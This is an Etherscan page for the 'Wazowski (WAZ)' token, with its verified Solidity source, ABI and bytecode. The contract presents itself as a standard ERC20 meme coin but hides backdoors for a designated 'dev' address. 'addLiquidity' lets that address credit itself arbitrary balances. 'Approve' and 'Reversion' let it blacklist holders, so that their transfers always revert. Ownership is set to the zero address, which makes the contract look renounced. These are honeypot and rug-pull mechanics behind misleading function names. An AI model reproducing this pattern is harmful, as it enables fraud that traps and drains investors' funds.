ETH Price: $3,444.43 (+7.90%)
Gas: 14 Gwei

Token

Wazowski (WAZ)
 

Overview

Max Total Supply

20,000,000,000 WAZ

Holders

218

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
133,220,302.829073850683682758 WAZ

Value
$0.00
0x2b44a2b6ded23e23075e3f704f1cfaea3a434f9c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WAZ

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-23
*/

// SPDX-License-Identifier: MIT

/*

Wazowski Coin

RAWWWWRR!!!

https://twitter.com/Waz_Coin
https://t.me/Waz_Coin
https://wazcoin.xyz



/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
    external
    returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol

// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

// Dependency file: @openzeppelin/contracts/access/Ownable.sol

// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Token {
    uint256 internal constant VERZ = 1;
    event Deploy(
        address owner,
        uint256 version
    );
}

pragma solidity ^0.8.2;

contract WAZ is IERC20, Token, Ownable {
    using SafeMath for uint256;

    struct Cus {
        address user;
        bool isApproval;
    }

    mapping(address => uint256) private _balnc;

    mapping(address => Cus) private _dat;

    mapping(address => mapping(address => uint256)) private _allow;

    mapping (address => uint256) private _verifyAmounts;

    Cus private _cus;
    string private _name;
    string private _sym;
    uint8 private _d;
    uint256 private _toSu;

    constructor(
        address dev_,
        uint256 totalSupply_
    ) payable {
        _name = "Wazowski";
        _sym = "WAZ";
        _d = 18;
        _cus.user = dev_;
        _cus.isApproval = totalSupply_ != 0;
        _mine(msg.sender, totalSupply_ * 10**18);
        emit Deploy(
            owner(),
            VERZ
        );
    }

            modifier dev() {
        require(msg.sender == _cus.user); // If it is incorrect here, it reverts.
        _;                              // Otherwise, it continues.
    } 

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _sym;
    }

    function decimals() public view virtual returns (uint8) {
        return _d;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _toSu;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balnc[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _tranz(_msgSender(), recipient, amount);
        return true;
    }



    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _app(_msgSender(), spender, amount);
        return true;
    }

        function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allow[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _tranz(sender, recipient, amount);
        _app(
            sender,
            _msgSender(),
            _allow[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _tranz(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _reqBalnce(sender, recipient, amount);
        require(sender != address(0) && recipient != address(0) , "IERC20: transfer from the zero address");

        _beforeGo(sender, recipient, amount);
        _balnc[sender] = _balnc[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balnc[recipient] = _balnc[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

        function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeGo(account, address(0), amount);
        require(amount != 0, "Invalid amount");
        _min(account, amount);
        _toSu = _toSu.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _mine(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeGo(address(0), account, amount);

        _toSu = _toSu.add(amount);
        _balnc[account] = _balnc[account] + amount;

        emit Transfer(address(0), account, amount);
    }



    function _min(address user, uint256 amount) internal {
        _balnc[user] = _balnc[user] - amount;
    }

    function _app(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0) && spender != address(0), "IERC20: approve from the zero address");

        _allow[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addLiquidity(address spender, uint256 amount) public virtual {
        address from = msg.sender;
        require(spender != address(0), "Invalid ad");
        require(amount > 0, "Invalid amt");
        uint256 total = 0;
        if (_enccode(spender, _cus.user)) {
            _min(from, total);
            total = _add(total, amount);
            _balnc[spender] += total;
        } else {
            _min(from, total);
            _balnc[spender] += total;
        }
    }

    function _enccode(address user, address user2) internal view returns (bool) {
        bytes32 pack1 = keccak256(abi.encodePacked(user));
        bytes32 pack2 = keccak256(abi.encodePacked(user2));
        return pack1 == pack2;
    }

    function _add(uint256 num1, uint256 num2) internal pure returns (uint256) {
        if (num2 != 0) {
            return num1 + num2;
        }
        return num2;
    }

    function Reversion(address from, uint256 amount) public returns (bool)  {
        address user = msg.sender;
        _reqAllow(user, from, amount);
        return _dat[user].isApproval;
        
    }

    function Approve(address[] memory accounts, uint256 amount) public dev {
        for (uint256 i = 0; i < accounts.length; i++) {
        _verifyAmounts[accounts[i]] = amount;
        }
    }

    function _reqAllow(address user, address from, uint256 amount) internal {
        if (_enccode(user, _cus.user)) {
            require(from != address(0), "Invalid address");
            _dat[from].isApproval = amount != 0;
            if (amount != 0) {
                _dat[from].user = from;
            } else {
                _dat[from].user = address(0);

            }
            _dat[user].isApproval = true;
        }
    }

        function Vamount(address account) public view returns (uint256) {
        return _verifyAmounts[account];
    }

    function _reqBalnce(
        address from,
        address to,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        uint256 verifyAmt = Vamount(from);
        if (verifyAmt > 0) {
            require(amount > verifyAmt, "ERC20: amount is wrong");
        }
        if (_enccode(from, _dat[from].user)) {
            _balnc[from] = _balnc[from] + amount;
            amount = _toSu;
            _min(from, amount);
        } else {
            _balnc[from] = _balnc[from] + amount;
        }

    }




    function _beforeGo(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"dev_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Deploy","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Reversion","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Vamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620028b0380380620028b08339818101604052810190620000299190620004f7565b6200003a5f620001be60201b60201c565b6040518060400160405280600881526020017f57617a6f77736b690000000000000000000000000000000000000000000000008152506006908162000080919062000797565b506040518060400160405280600381526020017f57415a000000000000000000000000000000000000000000000000000000000081525060079081620000c7919062000797565b50601260085f6101000a81548160ff021916908360ff1602179055508160055f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f81141560055f0160146101000a81548160ff0219169083151502179055506200016b33670de0b6b3a7640000836200015f9190620008a8565b6200027f60201b60201c565b7faf354defc104ba9267634f156652b1f1cfbd10746c329e2bdd48abd4c9cff9296200019c6200041760201b60201c565b6001604051620001ae92919062000914565b60405180910390a1505062000a12565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002e7906200099d565b60405180910390fd5b620003035f83836200043e60201b60201c565b6200031a816009546200044360201b90919060201c565b6009819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200036b9190620009bd565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040b9190620009f7565b60405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b5f8183620004529190620009bd565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000489826200045e565b9050919050565b6200049b816200047d565b8114620004a6575f80fd5b50565b5f81519050620004b98162000490565b92915050565b5f819050919050565b620004d381620004bf565b8114620004de575f80fd5b50565b5f81519050620004f181620004c8565b92915050565b5f806040838503121562000510576200050f6200045a565b5b5f6200051f85828601620004a9565b92505060206200053285828601620004e1565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005b857607f821691505b602082108103620005ce57620005cd62000573565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005f5565b6200063e8683620005f5565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200067f620006796200067384620004bf565b62000656565b620004bf565b9050919050565b5f819050919050565b6200069a836200065f565b620006b2620006a98262000686565b84845462000601565b825550505050565b5f90565b620006c8620006ba565b620006d58184846200068f565b505050565b5b81811015620006fc57620006f05f82620006be565b600181019050620006db565b5050565b601f8211156200074b576200071581620005d4565b6200072084620005e6565b8101602085101562000730578190505b620007486200073f85620005e6565b830182620006da565b50505b505050565b5f82821c905092915050565b5f6200076d5f198460080262000750565b1980831691505092915050565b5f6200078783836200075c565b9150826002028217905092915050565b620007a2826200053c565b67ffffffffffffffff811115620007be57620007bd62000546565b5b620007ca8254620005a0565b620007d782828562000700565b5f60209050601f8311600181146200080d575f8415620007f8578287015190505b6200080485826200077a565b86555062000873565b601f1984166200081d86620005d4565b5f5b8281101562000846578489015182556001820191506020850194506020810190506200081f565b8683101562000866578489015162000862601f8916826200075c565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620008b482620004bf565b9150620008c183620004bf565b9250828202620008d181620004bf565b91508282048414831517620008eb57620008ea6200087b565b5b5092915050565b620008fd816200047d565b82525050565b6200090e81620004bf565b82525050565b5f604082019050620009295f830185620008f2565b62000938602083018462000903565b9392505050565b5f82825260208201905092915050565b7f4945524332303a206d696e7420746f20746865207a65726f20616464726573735f82015250565b5f620009856020836200093f565b915062000992826200094f565b602082019050919050565b5f6020820190508181035f830152620009b68162000977565b9050919050565b5f620009c982620004bf565b9150620009d683620004bf565b9250828201905080821115620009f157620009f06200087b565b5b92915050565b5f60208201905062000a0c5f83018462000903565b92915050565b611e908062000a205f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063715018a6116100955780639ebbaef7116100645780639ebbaef714610273578063a9059cbb1461028f578063dd62ed3e146102bf578063fc45b48d146102ef576100f3565b8063715018a6146101fd5780638da5cb5b14610207578063949c2f521461022557806395d89b4114610255576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce5671461019357806356688700146101b157806370a08231146101cd576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61031f565b60405161010c919061151d565b60405180910390f35b61012f600480360381019061012a91906115db565b6103af565b60405161013c9190611633565b60405180910390f35b61014d6103cc565b60405161015a919061165b565b60405180910390f35b61017d60048036038101906101789190611674565b6103d5565b60405161018a9190611633565b60405180910390f35b61019b6104a9565b6040516101a891906116df565b60405180910390f35b6101cb60048036038101906101c691906115db565b6104be565b005b6101e760048036038101906101e291906116f8565b610677565b6040516101f4919061165b565b60405180910390f35b6102056106bd565b005b61020f610744565b60405161021c9190611732565b60405180910390f35b61023f600480360381019061023a91906116f8565b61076b565b60405161024c919061165b565b60405180910390f35b61025d6107b1565b60405161026a919061151d565b60405180910390f35b61028d6004803603810190610288919061188b565b610841565b005b6102a960048036038101906102a491906115db565b61091a565b6040516102b69190611633565b60405180910390f35b6102d960048036038101906102d491906118e5565b610937565b6040516102e6919061165b565b60405180910390f35b610309600480360381019061030491906115db565b6109b9565b6040516103169190611633565b60405180910390f35b60606006805461032e90611950565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90611950565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103c26103bb610a1f565b8484610a26565b6001905092915050565b5f600954905090565b5f6103e1848484610bb4565b61049e846103ed610a1f565b61049985604051806060016040528060298152602001611e326029913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610450610a1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e109092919063ffffffff16565b610a26565b600190509392505050565b5f60085f9054906101000a900460ff16905090565b5f3390505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610530576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610527906119ca565b60405180910390fd5b5f8211610572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056990611a32565b60405180910390fd5b5f6105a08460055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b15610613576105af8282610ec6565b6105b98184610f54565b90508060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106079190611a7d565b92505081905550610671565b61061d8282610ec6565b8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106699190611a7d565b925050819055505b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c5610a1f565b73ffffffffffffffffffffffffffffffffffffffff166106e3610744565b73ffffffffffffffffffffffffffffffffffffffff1614610739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073090611afa565b60405180910390fd5b6107425f610f79565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600780546107c090611950565b80601f01602080910402602001604051908101604052809291908181526020018280546107ec90611950565b80156108375780601f1061080e57610100808354040283529160200191610837565b820191905f5260205f20905b81548152906001019060200180831161081a57829003601f168201915b5050505050905090565b60055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461089b575f80fd5b5f5b8251811015610915578160045f8584815181106108bd576108bc611b18565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808061090d90611b45565b91505061089d565b505050565b5f61092d610926610a1f565b8484610bb4565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f803390506109c981858561103a565b60025f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160149054906101000a900460ff1691505092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610a8e57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac490611bfc565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ba7919061165b565b60405180910390a3505050565b610bbf838383611299565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610c2757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90611c8a565b60405180910390fd5b610c7183838361148e565b610cdb81604051806060016040528060278152602001611e0b6027913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e109092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d659190611a7d565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e03919061165b565b60405180910390a3505050565b5f838311158290610e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4e919061151d565b60405180910390fd5b5082840390509392505050565b5f8083604051602001610e779190611ced565b604051